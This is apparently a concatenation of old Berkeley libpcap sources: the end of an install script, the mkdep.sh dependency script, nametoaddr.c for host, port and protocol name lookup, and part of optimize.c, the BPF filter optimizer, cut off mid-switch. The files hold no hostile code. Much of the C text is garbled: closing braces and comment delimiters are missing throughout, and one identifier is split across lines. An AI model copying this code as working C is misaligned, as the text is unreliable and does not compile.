      $doit $mvcmd $dsttmp $dstdir/$dstfile
fi &&
exit 0
#!/bin/sh -
# Copyright (c) 1994, 1996
#     The Regents of the University of California.  All rights reserved.
# Redistribution and use in source and binary forms are permitted
# provided that this notice is preserved and that due credit is given
# to the University of California at Berkeley. The name of the University
# may not be used to endorse or promote products derived from this
# software without specific prior written permission. This software
# is provided ``as is'' without express or implied warranty.
#      @(#)mkdep.sh      5.11 (Berkeley) 5/5/88
PATH=/bin:/usr/bin:/usr/ucb:/usr/local:/usr/local/bin
export PATH
MAKE=Makefile                 # default makefile name is "Makefile"
CC=cc                   # default C compiler is "cc"
while :
      do case "$1" in
            # -c allows you to specify the C compiler
            -c)
                  CC=$2
                  shift; shift ;;
            # -f allows you to select a makefile name
            -f)
                  MAKE=$2
                  shift; shift ;;
            # the -p flag produces "program: program.c" style dependencies
            # so .o's don't get produced
            -p)
                  SED='s;\.o;;'
                  shift ;;
            *)
                  break ;;
      esac
done
if [ $# = 0 ] ; then
      echo 'usage: mkdep [-p] [-c cc] [-f makefile] [flags] file ...'
      exit 1
if [ ! -w $MAKE ]; then
      echo "mkdep: no writeable file \"$MAKE\""
      exit 1
TMP=/tmp/mkdep$$
trap 'rm -f $TMP ; exit 1' 1 2 3 13 15
cp $MAKE ${MAKE}.bak
sed -e '/DO NOT DELETE THIS LINE/,$d' < $MAKE > $TMP
cat << _EOF_ >> $TMP
# DO NOT DELETE THIS LINE -- mkdep uses it.
# DO NOT PUT ANYTHING AFTER THIS LINE, IT WILL GO AWAY.
_EOF_
# If your compiler doesn't have -M, add it.  If you can't, the next two
# lines will try and replace the "cc -M".  The real problem is that this
# hack can't deal with anything that requires a search path, and doesn't
# even try for anything using bracket (<>) syntax.
# egrep '^#include[       ]*".*"' /dev/null $* |
# sed -e 's/:[^"]*"\([^"]*\)".*/: \1/' -e 's/\.c/.o/' |
# XXX this doesn't work with things like "-DDECLWAITSTATUS=union\ wait"
$CC -M $* |
sed "
      s; \./; ;g
      $SED" |
awk '{
      if ($1 != prev) {
            if (rec != "")
                  print rec;
            rec = $0;
            prev = $1;
      else {
            if (length(rec $2) > 78) {
                  print rec;
                  rec = $0;
            else
                  rec = rec " " $2
END {
      print rec
}' >> $TMP
cat << _EOF_ >> $TMP
# IF YOU PUT ANYTHING HERE IT WILL GO AWAY
_EOF_
# copy to preserve permissions
cp $TMP $MAKE
rm -f ${MAKE}.bak $TMP
exit 0
 * Copyright (c) 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 * Name to id translation routines used by the scanner.
 * These functions are not time critical.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: nametoaddr.c,v 1.48 98/07/12 13:15:36 leres Exp $ (LBL)";
#endif
#include <sys/param.h>
#include <sys/types.h>                       /* concession to AIX */
#include <sys/socket.h>
#include <sys/time.h>
#if __STDC__
struct mbuf;
struct rtentry;
#endif
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#include <ctype.h>
#include <errno.h>
#include <stdlib.h>
#include <memory.h>
#include <netdb.h>
#include <stdio.h>
#include "pcap-int.h"
#include "gencode.h"
#include <pcap-namedb.h>
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifndef NTOHL
#define NTOHL(x) (x) = ntohl(x)
#define NTOHS(x) (x) = ntohs(x)
#endif
static inline int xdtoi(int);
 *  Convert host name to internet address.
 *  Return 0 upon failure.
bpf_u_int32 **
pcap_nametoaddr(const char *name)
#ifndef h_addr
      static bpf_u_int32 *hlist[2];
#endif
      bpf_u_int32 **p;
      struct hostent *hp;
      if ((hp = gethostbyname(name)) != NULL) {
#ifndef h_addr
            hlist[0] = (bpf_u_int32 *)hp->h_addr;
            NTOHL(hp->h_addr);
            return hlist;
#else
            for (p = (bpf_u_int32 **)hp->h_addr_list; *p; ++p)
                  NTOHL(**p);
            return (bpf_u_int32 **)hp->h_addr_list;
#endif
      else
            return 0;
 *  Convert net name to internet address.
 *  Return 0 upon failure.
bpf_u_int32
pcap_nametonetaddr(const char *name)
      struct netent *np;
      if ((np = getnetbyname(name)) != NULL)
            return np->n_net;
      else
            return 0;
 * Convert a port name to its port and protocol numbers.
 * We assume only TCP or UDP.
 * Return 0 upon failure.
pcap_nametoport(const char *name, int *port, int *proto)
      struct servent *sp;
      char *other;
      sp = getservbyname(name, (char *)0);
      if (sp != NULL) {
            NTOHS(sp->s_port);
            *port = sp->s_port;
            *proto = pcap_nametoproto(sp->s_proto);
            /*
             * We need to check /etc/services for ambiguous entries.
             * If we find the ambiguous entry, and it has the
             * same port number, change the proto to PROTO_UNDEF
             * so both TCP and UDP will be checked.
             */
            if (*proto == IPPROTO_TCP)
                  other = "udp";
            else
                  other = "tcp";
            sp = getservbyname(name, other);
            if (sp != 0) {
                  NTOHS(sp->s_port);
#ifdef notdef
                  if (*port != sp->s_port)
                        /* Can't handle ambiguous names that refer
                           to different port numbers. */
                        warning("ambiguous port %s in /etc/services",
                              name);
#endif
                  *proto = PROTO_UNDEF;
            return 1;
#if defined(ultrix) || defined(__osf__)
      /* Special hack in case NFS isn't in /etc/services */
      if (strcmp(name, "nfs") == 0) {
            *port = 2049;
            *proto = PROTO_UNDEF;
            return 1;
#endif
      return 0;
pcap_nametoproto(const char *str)
      struct protoent *p;
      p = getprotobyname(str);
      if (p != 0)
            return p->p_proto;
      else
            return PROTO_UNDEF;
#include "ethertype.h"
struct eproto {
      char *s;
      u_short p;
/* Static data base of ether protocol types. */
struct eproto eproto_db[] = {
      { "pup", ETHERTYPE_PUP },
      { "xns", ETHERTYPE_NS },
      { "ip", ETHERTYPE_IP },
      { "arp", ETHERTYPE_ARP },
      { "rarp", ETHERTYPE_REVARP },
      { "sprite", ETHERTYPE_SPRITE },
      { "mopdl", ETHERTYPE_MOPDL },
      { "moprc", ETHERTYPE_MOPRC },
      { "decnet", ETHERTYPE_DN },
      { "lat", ETHERTYPE_LAT },
      { "sca", ETHERTYPE_SCA },
      { "lanbridge", ETHERTYPE_LANBRIDGE },
      { "vexp", ETHERTYPE_VEXP },
      { "vprod", ETHERTYPE_VPROD },
      { "atalk", ETHERTYPE_ATALK },
      { "atalkarp", ETHERTYPE_AARP },
      { "loopback", ETHERTYPE_LOOPBACK },
      { "decdts", ETHERTYPE_DECDTS },
      { "decdns", ETHERTYPE_DECDNS },
      { (char *)0, 0 }
pcap_nametoeproto(const char *s)
      struct eproto *p = eproto_db;
      while (p->s != 0) {
            if (strcmp(p->s, s) == 0)
                  return p->p;
            p += 1;
      return PROTO_UNDEF;
/* Hex digit to integer. */
static inline int
xdtoi(c)
      register int c;
      if (isdigit(c))
            return c - '0';
      else if (islower(c))
            return c - 'a' + 10;
      else
            return c - 'A' + 10;
__pcap_atoin(const char *s, bpf_u_int32 *addr)
      u_int n;
      int len;
      *addr = 0;
      len = 0;
      while (1) {
            n = 0;
            while (*s && *s != '.')
                  n = n * 10 + *s++ - '0';
            *addr <<= 8;
            *addr |= n & 0xff;
            len += 8;
            if (*s == '\0')
                  return len;
            ++s;
      /* NOTREACHED */
__pcap_atodn(const char *s, bpf_u_int32 *addr)
#define AREASHIFT 10
#define AREAMASK 0176000
#define NODEMASK 01777
      u_int node, area;
      if (sscanf((char *)s, "%d.%d", &area, &node) != 2)
            bpf_error("malformed decnet address '%s'", s);
      *addr = (area << AREASHIFT) & AREAMASK;
      *addr |= (node & NODEMASK);
      return(32);
 * Convert 's' which has the form "xx:xx:xx:xx:xx:xx" into a new
 * ethernet address.  Assumes 's' is well formed.
u_char *
pcap_ether_aton(const char *s)
      register u_char *ep, *e;
      register u_int d;
      e = ep = (u_char *)malloc(6);
      while (*s) {
            if (*s == ':')
                  s += 1;
            d = xdtoi(*s++);
            if (isxdigit(*s)) {
                  d <<= 4;
                  d |= xdtoi(*s++);
            *ep++ = d;
      return (e);
#ifndef HAVE_ETHER_HOSTTON
/* Roll our own */
u_char *
pcap_ether_hostton(const char *name)
      register struct pcap_etherent *ep;
      register u_char *ap;
      static FILE *fp = NULL;
      static init = 0;
      if (!init) {
            fp = fopen(PCAP_ETHERS_FILE, "r");
            ++init;
            if (fp == NULL)
                  return (NULL);
      } else if (fp == NULL)
            return (NULL);
      else
            rewind(fp);
      while ((ep = pcap_next_etherent(fp)) != NULL) {
            if (strcmp(ep->name, name) == 0) {
                  ap = (u_char *)malloc(6);
                  if (ap != NULL) {
                        memcpy(ap, ep->addr, 6);
                        return (ap);
                  }
                  break;
      return (NULL);
#else
#ifndef sgi
extern int ether_hostton(char *, struct ether_addr *);
#endif
/* Use the os supplied routines */
u_char *
pcap_ether_hostton(const char *name)
      register u_char *ap;
      u_char a[6];
      ap = NULL;
      if (ether_hostton((char *)name, (struct ether_addr *)a) == 0) {
            ap = (u_char *)malloc(6);
            if (ap != NULL)
                  memcpy((char *)ap, (char *)a, 6);
      return (ap);
#endif
u_short
__pcap_nametodnaddr(const char *name)
#ifdef      DECNETLIB
      struct nodeent *getnodebyname();
      struct nodeent *nep;
      unsigned short res;
      nep = getnodebyname(name);
      if (nep == ((struct nodeent *)0))
            bpf_error("unknown decnet host name '%s'\n", name);
      memcpy((char *)&res, (char *)nep->n_addr, sizeof(unsigned short));
      return(res);
#else
      bpf_error("decnet name support not included, '%s' cannot be translated\n",
            name);
#endif
 * Copyright (c) 1988, 1989, 1990, 1991, 1993, 1994, 1995, 1996
 *    The Regents of the University of California.  All rights reserved.
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that: (1) source code distributions
 * retain the above copyright notice and this paragraph in its entirety, (2)
 * distributions including binary code include the above copyright notice and
 * this paragraph in its entirety in the documentation or other materials
 * provided with the distribution, and (3) all advertising materials mentioning
 * features or use of this software display the following acknowledgement:
 * ``This product includes software developed by the University of California,
 * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
 * the University nor the names of its contributors may be used to endorse
 * or promote products derived from this software without specific prior
 * written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 *  Optimization module for tcpdump intermediate representation.
#ifndef lint
static const char rcsid[] =
    "@(#) $Header: optimize.c,v 1.60 96/09/26 23:28:14 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include "pcap-int.h"
#include "gencode.h"
#include "gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#ifdef BDEBUG
extern int dflag;
#endif
#define A_ATOM BPF_MEMWORDS
#define X_ATOM (BPF_MEMWORDS+1)
#define NOP -1
 * This define is used to represent *both* the accumulator and
 * x register in use-def computations.
 * Currently, the use-def code assumes only one definition per instruction.
#define AX_ATOM N_ATOMS
 * A flag to indicate that further optimization is needed.
 * Iterative passes are continued until a given pass yields no
 * branch movement.
static int done;
 * A block is marked if only if its mark equals the current mark.
 * Rather than traverse the code array, marking each item, 'cur_mark' is
 * incremented.  This automatically makes each element unmarked.
static int cur_mark;
#define isMarked(p) ((p)->mark == cur_mark)
#define unMarkAll() cur_mark += 1
#define Mark(p) ((p)->mark = cur_mark)
static void opt_init(struct block *);
static void opt_cleanup(void);
static void make_marks(struct block *);
static void mark_code(struct block *);
static void intern_blocks(struct block *);
static int eq_slist(struct slist *, struct slist *);
static void find_levels_r(struct block *);
static void find_levels(struct block *);
static void find_dom(struct block *);
static void propedom(struct edge *);
static void find_edom(struct block *);
static void find_closure(struct block *);
static int atomuse(struct stmt *);
static int atomdef(struct stmt *);
static void compute_local_ud(struct block *);
static void find_ud(struct block *);
static void init_val(void);
static int F(int, int, int);
static inline void vstore(struct stmt *, int *, int, int);
static void opt_blk(struct block *, int);
static int use_conflict(struct block *, struct block *);
static void opt_j(struct edge *);
static void or_pullup(struct block *);
static void and_pullup(struct block *);
static void opt_blks(struct block *, int);
static inline void link_inedge(struct edge *, struct block *);
static void find_inedges(struct block *);
static void opt_root(struct block **);
static void opt_loop(struct block *, int);
static void fold_op(struct stmt *, int, int);
static inline struct slist *this_op(struct slist *);
static void opt_not(struct block *);
static void opt_peep(struct block *);
static void opt_stmt(struct stmt *, int[], int);
static void deadstmt(struct stmt *, struct stmt *[]);
static void opt_deadstores(struct block *);
static void opt_blk(struct block *, int);
static int use_conflict(struct block *, struct block *);
static void opt_j(struct edge *);
static struct block *fold_edge(struct block *, struct edge *);
static inline int eq_blk(struct block *, struct block *);
static int slength(struct slist *);
static int count_blocks(struct block *);
static void number_blks_r(struct block *);
static int count_stmts(struct block *);
static int convert_code_r(struct block *);
#ifdef BDEBUG
static void opt_dump(struct block *);
#endif
static int n_blocks;
struct block **blocks;
static int n_edges;
struct edge **edges;
 * A bit vector set representation of the dominators.
 * We round up the set size to the next power of two.
static int nodewords;
static int edgewords;
struct block **levels;
bpf_u_int32 *space;
#define BITS_PER_WORD (8*sizeof(bpf_u_int32))
 * True if a is in uset {p}
#define SET_MEMBER(p, a) \
((p)[(unsigned)(a) / BITS_PER_WORD] & (1 << ((unsigned)(a) % BITS_PER_WORD)))
 * Add 'a' to uset p.
#define SET_INSERT(p, a) \
(p)[(unsigned)(a) / BITS_PER_WORD] |= (1 << ((unsigned)(a) % BITS_PER_WORD))
 * Delete 'a' from uset p.
#define SET_DELETE(p, a) \
(p)[(unsigned)(a) / BITS_PER_WORD] &= ~(1 << ((unsigned)(a) % BITS_PER_WORD))
 * a := a intersect b
#define SET_INTERSECT(a, b, n)\
      register bpf_u_int32 *_x = a, *_y = b;\
      register int _n = n;\
      while (--_n >= 0) *_x++ &= *_y++;\
 * a := a - b
#define SET_SUBTRACT(a, b, n)\
      register bpf_u_int32 *_x = a, *_y = b;\
      register int _n = n;\
      while (--_n >= 0) *_x++ &=~ *_y++;\
 * a := a union b
#define SET_UNION(a, b, n)\
      register bpf_u_int32 *_x = a, *_y = b;\
      register int _n = n;\
      while (--_n >= 0) *_x++ |= *_y++;\
static uset all_dom_sets;
static uset all_closure_sets;
static uset all_edge_sets;
#ifndef MAX
#define MAX(a,b) ((a)>(b)?(a):(b))
#endif
static void
find_levels_r(b)
      struct block *b;
      int level;
      if (isMarked(b))
            return;
      Mark(b);
      b->link = 0;
      if (JT(b)) {
            find_levels_r(JT(b));
            find_levels_r(JF(b));
            level = MAX(JT(b)->level, JF(b)->level) + 1;
      } else
            level = 0;
      b->level = level;
      b->link = levels[level];
      levels[level] = b;
 * Level graph.  The levels go from 0 at the leaves to
 * N_LEVELS at the root.  The levels[] array points to the
 * first node of the level list, whose elements are linked
 * with the 'link' field of the struct block.
static void
find_levels(root)
      struct block *root;
      memset((char *)levels, 0, n_blocks * sizeof(*levels));
      unMarkAll();
      find_levels_r(root);
 * Find dominator relationships.
 * Assumes graph has been leveled.
static void
find_dom(root)
      struct block *root;
      int i;
      struct block *b;
      bpf_u_int32 *x;
       * Initialize sets to contain all nodes.
       */
      x = all_dom_sets;
      i = n_blocks * nodewords;
      while (--i >= 0)
            *x++ = ~0;
      /* Root starts off empty. */
      for (i = nodewords; --i >= 0;)
            root->dom[i] = 0;
      /* root->level is the highest level no found. */
      for (i = root->level; i >= 0; --i) {
            for (b = levels[i]; b; b = b->link) {
                  SET_INSERT(b->dom, b->id);
                  if (JT(b) == 0)
                        continue;
                  SET_INTERSECT(JT(b)->dom, b->dom, nodewords);
                  SET_INTERSECT(JF(b)->dom, b->dom, nodewords);
static void
propedom(ep)
      struct edge *ep;
      SET_INSERT(ep->edom, ep->id);
      if (ep->succ) {
            SET_INTERSECT(ep->succ->et.edom, ep->edom, edgewords);
            SET_INTERSECT(ep->succ->ef.edom, ep->edom, edgewords);
 * Compute edge dominators.
 * Assumes graph has been leveled and predecessors established.
static void
find_edom(root)
      struct block *root;
      int i;
      uset x;
      struct block *b;
      x = all_edge_sets;
      for (i = n_edges * edgewords; --i >= 0; )
            x[i] = ~0;
      /* root->level is the highest level no found. */
      memset(root->et.edom, 0, edgewords * sizeof(*(uset)0));
      memset(root->ef.edom, 0, edgewords * sizeof(*(uset)0));
      for (i = root->level; i >= 0; --i) {
            for (b = levels[i]; b != 0; b = b->link) {
                  propedom(&b->et);
                  propedom(&b->ef);
 * Find the backwards transitive closure of the flow graph.  These sets
 * are backwards in the sense that we find the set of nodes that reach
 * a given node, not the set of nodes that can be reached by a node.
 * Assumes graph has been leveled.
static void
find_closure(root)
      struct block *root;
      int i;
      struct block *b;
       * Initialize sets to contain no nodes.
       */
      memset((char *)all_closure_sets, 0,
            n_blocks * nodewords * sizeof(*all_closure_sets));
      /* root->level is the highest level no found. */
      for (i = root->level; i >= 0; --i) {
            for (b = levels[i]; b; b = b->link) {
                  SET_INSERT(b->closure, b->id);
                  if (JT(b) == 0)
                        continue;
                  SET_UNION(JT(b)->closure, b->closure, nodewords);
                  SET_UNION(JF(b)->closure, b->closure, nodewords);
 * Return the register number that is used by s.  If A and X are both
 * used, return AX_ATOM.  If no register is used, return -1.
 * The implementation should probably change to an array access.
static int
atomuse(s)
      struct stmt *s;
      register int c = s->code;
      if (c == NOP)
            return -1;
      switch (BPF_CLASS(c)) {
      case BPF_RET:
            return (BPF_RVAL(c) == BPF_A) ? A_ATOM :
                  (BPF_RVAL(c) == BPF_X) ? X_ATOM : -1;
      case BPF_LD:
      case BPF_LDX:
            return (BPF_MODE(c) == BPF_IND) ? X_ATOM :
                  (BPF_MODE(c) == BPF_MEM) ? s->k : -1;
      case BPF_ST:
            return A_ATOM;
      case BPF_STX:
            return X_ATOM;
      case BPF_JMP:
      case BPF_ALU:
            if (BPF_SRC(c) == BPF_X)
                  return AX_ATOM;
            return A_ATOM;
      case BPF_MISC:
            return BPF_MISCOP(c) == BPF_TXA ? X_ATOM : A_ATOM;
      abort();
      /* NOTREACHED */
 * Return the register number that is defined by 's'.  We assume that
 * a single stmt cannot define more than one register.  If no register
 * is defined, return -1.
 * The implementation should probably change to an array access.
static int
atomdef(s)
      struct stmt *s;
      if (s->code == NOP)
            return -1;
      switch (BPF_CLASS(s->code)) {
      case BPF_LD:
      case BPF_ALU:
            return A_ATOM;
      case BPF_LDX:
            return X_ATOM;
      case BPF_ST:
      case BPF_STX:
            return s->k;
      case BPF_MISC:
            return BPF_MISCOP(s->code) == BPF_TAX ? X_ATOM : A_ATOM;
      return -1;
static void
compute_local_ud(b)
      struct block *b;
      struct slist *s;
      atomset def = 0, use = 0, kill = 0;
      int atom;
      for (s = b->stmts; s; s = s->next) {
            if (s->s.code == NOP)
                  continue;
            atom = atomuse(&s->s);
            if (atom >= 0) {
                  if (atom == AX_ATOM) {
                        if (!ATOMELEM(def, X_ATOM))
                              use |= ATOMMASK(X_ATOM);
                        if (!ATOMELEM(def, A_ATOM))
                              use |= ATOMMASK(A_ATOM);
                  }
                  else if (atom < N_ATOMS) {
                        if (!ATOMELEM(def, atom))
                              use |= ATOMMASK(atom);
                  }
                  else
                        abort();
            atom = atomdef(&s->s);
            if (atom >= 0) {
                  if (!ATOMELEM(use, atom))
                        kill |= ATOMMASK(atom);
                  def |= ATOMMASK(atom);
      if (!ATOMELEM(def, A_ATOM) && BPF_CLASS(b->s.code) == BPF_JMP)
            use |= ATOMMASK(A_ATOM);
      b->def = def;
      b->kill = kill;
      b->in_use = use;
 * Assume graph is already leveled.
static void
find_ud(root)
      struct block *root;
      int i, maxlevel;
      struct block *p;
       * root->level is the highest level no found;
       * count down from there.
       */
      maxlevel = root->level;
      for (i = maxlevel; i >= 0; --i)
            for (p = levels[i]; p; p = p->link) {
                  compute_local_ud(p);
                  p->out_use = 0;
      for (i = 1; i <= maxlevel; ++i) {
            for (p = levels[i]; p; p = p->link) {
                  p->out_use |= JT(p)->in_use | JF(p)->in_use;
                  p->in_use |= p->out_use &~ p->kill;
 * These data structures are used in a Cocke and Shwarz style
 * value numbering scheme.  Since the flowgraph is acyclic,
 * exit values can be propagated from a node's predecessors
 * provided it is uniquely defined.
struct valnode {
      int code;
      int v0, v1;
      int val;
      struct valnode *next;
#define MODULUS 213
static struct valnode *hashtbl[MODULUS];
static int curval;
static int maxval;
/* Integer constants mapped with the load immediate opcode. */
#define K(i) F(BPF_LD|BPF_IMM|BPF_W, i, 0L)
struct vmapinfo {
      int is_const;
      bpf_int32 const_val;
struct vmapinfo *vmap;
struct valnode *vnode_base;
struct valnode *next_vnode;
static void
init_val()
      curval = 0;
      next_vnode = vnode_base;
      memset((char *)vmap, 0, maxval * sizeof(*vmap));
      memset((char *)has
htbl, 0, sizeof hashtbl);
/* Because we really don't have an IR, this stuff is a little messy. */
static int
F(code, v0, v1)
      int code;
      int v0, v1;
      u_int hash;
      int val;
      struct valnode *p;
      hash = (u_int)code ^ (v0 << 4) ^ (v1 << 8);
      hash %= MODULUS;
      for (p = hashtbl[hash]; p; p = p->next)
            if (p->code == code && p->v0 == v0 && p->v1 == v1)
                  return p->val;
      val = ++curval;
      if (BPF_MODE(code) == BPF_IMM &&
          (BPF_CLASS(code) == BPF_LD || BPF_CLASS(code) == BPF_LDX)) {
            vmap[val].const_val = v0;
            vmap[val].is_const = 1;
      p = next_vnode++;
      p->val = val;
      p->code = code;
      p->v0 = v0;
      p->v1 = v1;
      p->next = hashtbl[hash];
      hashtbl[hash] = p;
      return val;
static inline void
vstore(s, valp, newval, alter)
      struct stmt *s;
      int *valp;
      int newval;
      int alter;
      if (alter && *valp == newval)
            s->code = NOP;
      else
            *valp = newval;
static void
fold_op(s, v0, v1)
      struct stmt *s;
      int v0, v1;
      bpf_int32 a, b;
      a = vmap[v0].const_val;
      b = vmap[v1].const_val;
      switch (BPF_OP(s->code)) {
      case BPF_ADD:
            a += b;
            break;
      case BPF_SUB:
            a -= b;
            break;
      case BPF_MUL:
            a *= b;
            break;
      case BPF_DIV:
            if (b == 0)
                  bpf_error("division by zero");
            a /= b;
            break;
      case BPF_AND:
            a &= b;
            break;
      case BPF_OR:
            a |= b;
            break;
      case BPF_LSH:
            a <<= b;
            break;
      case BPF_RSH:
            a >>= b;
            break;
      case BPF_NEG:
            a = -a;
            break;
      default:
            abort();
      s->k = a;
      s->code = BPF_LD|BPF_IMM;
      done = 0;
static inline struct slist *
this_op(s)
      struct slist *s;
      while (s != 0 && s->s.code == NOP)
            s = s->next;
      return s;
static void
opt_not(b)
      struct block *b;
      struct block *tmp = JT(b);
      JT(b) = JF(b);
      JF(b) = tmp;
static void
opt_peep(b)
      struct block *b;
      struct slist *s;
      struct slist *next, *last;
      int val;
      s = b->stmts;
      if (s == 0)
            return;
      last = s;
      while (1) {
            s = this_op(s);
            if (s == 0)
                  break;
            next = this_op(s->next);
            if (next == 0)
                  break;
            last = next;
            /*
             * st  M[k]      -->      st  M[k]
             * ldx M[k]        tax
             */
            if (s->s.code == BPF_ST &&
                next->s.code == (BPF_LDX|BPF_MEM) &&
                s->s.k == next->s.k) {
                  done = 0;
                  next->s.code = BPF_MISC|BPF_TAX;
            /*
             * ld  #k      -->      ldx  #k
             * tax             txa
             */
            if (s->s.code == (BPF_LD|BPF_IMM) &&
                next->s.code == (BPF_MISC|BPF_TAX)) {
                  s->s.code = BPF_LDX|BPF_IMM;
                  next->s.code = BPF_MISC|BPF_TXA;
                  done = 0;
            /*
             * This is an ugly special case, but it happens
             * when you say tcp[k] or udp[k] where k is a constant.
             */
            if (s->s.code == (BPF_LD|BPF_IMM)) {
                  struct slist *add, *tax, *ild;
                  /*
                   * Check that X isn't used on exit from this
                   * block (which the optimizer might cause).
                   * We know the code generator won't generate
                   * any local dependencies.
                   */
                  if (ATOMELEM(b->out_use, X_ATOM))
                        break;
                  if (next->s.code != (BPF_LDX|BPF_MSH|BPF_B))
                        add = next;
                  else
                        add = this_op(next->next);
                  if (add == 0 || add->s.code != (BPF_ALU|BPF_ADD|BPF_X))
                        break;
                  tax = this_op(add->next);
                  if (tax == 0 || tax->s.code != (BPF_MISC|BPF_TAX))
                        break;
                  ild = this_op(tax->next);
                  if (ild == 0 || BPF_CLASS(ild->s.code) != BPF_LD ||
                      BPF_MODE(ild->s.code) != BPF_IND)
                        break;
                  /*
                   * XXX We need to check that X is not
                   * subsequently used.  We know we can eliminate the
                   * accumulator modifications since it is defined
                   * by the last stmt of this sequence.
                   *
                   * We want to turn this sequence:
                   *
                   * (004) ldi     #0x2        {s}
                   * (005) ldxms   [14]        {next}  -- optional
                   * (006) addx              {add}
                   * (007) tax               {tax}
                   * (008) ild     [x+0]       {ild}
                   *
                   * into this sequence:
                   *
                   * (004) nop
                   * (005) ldxms   [14]
                   * (006) nop
                   * (007) nop
                   * (008) ild     [x+2]
                   *
                   */
                  ild->s.k += s->s.k;
                  s->s.code = NOP;
                  add->s.code = NOP;
                  tax->s.code = NOP;
                  done = 0;
            s = next;
       * If we have a subtract to do a comparison, and the X register
       * is a known constant, we can merge this value into the
       * comparison.
       */
      if (last->s.code == (BPF_ALU|BPF_SUB|BPF_X) &&
          !ATOMELEM(b->out_use, A_ATOM)) {
            val = b->val[X_ATOM];
            if (vmap[val].is_const) {
                  int op;
                  b->s.k += vmap[val].const_val;
                  op = BPF_OP(b->s.code);
                  if (op == BPF_JGT || op == BPF_JGE) {
                        struct block *t = JT(b);
                        JT(b) = JF(b);
                        JF(b) = t;
                        b->s.k += 0x80000000;
                  }
                  last->s.code = NOP;
                  done = 0;
            } else if (b->s.k == 0) {
                  /*
                   * sub x  -> nop
                   * j  #0    j  x
                   */
                  last->s.code = NOP;
                  b->s.code = BPF_CLASS(b->s.code) | BPF_OP(b->s.code) |
                        BPF_X;
                  done = 0;
       * Likewise, a constant subtract can be simplified.
       */
      else if (last->s.code == (BPF_ALU|BPF_SUB|BPF_K) &&
             !ATOMELEM(b->out_use, A_ATOM)) {
            int op;
            b->s.k += last->s.k;
            last->s.code = NOP;
            op = BPF_OP(b->s.code);
            if (op == BPF_JGT || op == BPF_JGE) {
                  struct block *t = JT(b);
                  JT(b) = JF(b);
                  JF(b) = t;
                  b->s.k += 0x80000000;
            done = 0;
       * and #k    nop
       * jeq #0  ->      jset #k
       */
      if (last->s.code == (BPF_ALU|BPF_AND|BPF_K) &&
          !ATOMELEM(b->out_use, A_ATOM) && b->s.k == 0) {
            b->s.k = last->s.k;
            b->s.code = BPF_JMP|BPF_K|BPF_JSET;
            last->s.code = NOP;
            done = 0;
            opt_not(b);
       * If the accumulator is a known constant, we can compute the
       * comparison result.
       */
      val = b->val[A_ATOM];
      if (vmap[val].is_const && BPF_SRC(b->s.code) == BPF_K) {
            bpf_int32 v = vmap[val].const_val;
            switch (BPF_OP(b->s.code)) {
            case BPF_JEQ:
                  v = v == b->s.k;
                  break;
            case BPF_JGT:
                  v = (unsigned)v > b->s.k;
                  break;
            case BPF_JGE:
                  v = (unsigned)v >= b->s.k;
                  break;
            case BPF_JSET:
                  v &= b->s.k;
                  break;
            default:
                  abort();
            if (JF(b) != JT(b))
                  done = 0;
            if (v)
                  JF(b) = JT(b);
            else
                  JT(b) = JF(b);
 * Compute the symbolic value of expression of 's', and update
 * anything it defines in the value table 'val'.  If 'alter' is true,
 * do various optimizations.  This code would be cleaner if symbolic
 * evaluation and code transformations weren't folded together.
static void
opt_stmt(s, val, alter)
      struct stmt *s;
      int val[];
      int alter;
      int op;
      int v;
      switch (s->code) {
      case BPF_LD|BPF_ABS|BPF_W:
      case BPF_LD|BPF_ABS|BPF_H:
      case BPF_LD|BPF_ABS|BPF_B:
            v = F(s->code, s->k, 0L);
            vstore(s, &val[A_ATOM], v, alter);
            break;
      case BPF_LD|BPF_IND|BPF_W:
      case BPF_LD|BPF_IND|BPF_H:
      case BPF_LD|BPF_IND|BPF_B:
            v = val[X_ATOM];
            if (alter && vmap[v].is_const) {
                  s->code = BPF_LD|BPF_ABS|BPF_SIZE(s->code);
                  s->k += vmap[v].const_val;
                  v = F(s->code, s->k, 0L);
                  done = 0;
            else
                  v = F(s->code, s->k, v);
            vstore(s, &val[A_ATOM], v, alter);
            break;
      case BPF_LD|BPF_LEN:
            v = F(s->code, 0L, 0L);
            vstore(s, &val[A_ATOM], v, alter);
            break;
      case BPF_LD|BPF_IMM:
            v = K(s->k);
            vstore(s, &val[A_ATOM], v, alter);
            break;
      case BPF_LDX|BPF_IMM:
            v = K(s->k);
            vstore(s, &val[X_ATOM], v, alter);
            break;
      case BPF_LDX|BPF_MSH|BPF_B:
            v = F(s->code, s->k, 0L);
            vstore(s, &val[X_ATOM], v, alter);
            break;
      case BPF_ALU|BPF_NEG:
            if (alter && vmap[val[A_ATOM]].is_const) {
                  s->code = BPF_LD|BPF_IMM;
                  s->k = -vmap[val[A_ATOM]].const_val;
                  val[A_ATOM] = K(s->k);
            else
                  val[A_ATOM] = F(s->code, val[A_ATOM], 0L);
            break;
      case BPF_ALU|BPF_ADD|BPF_K:
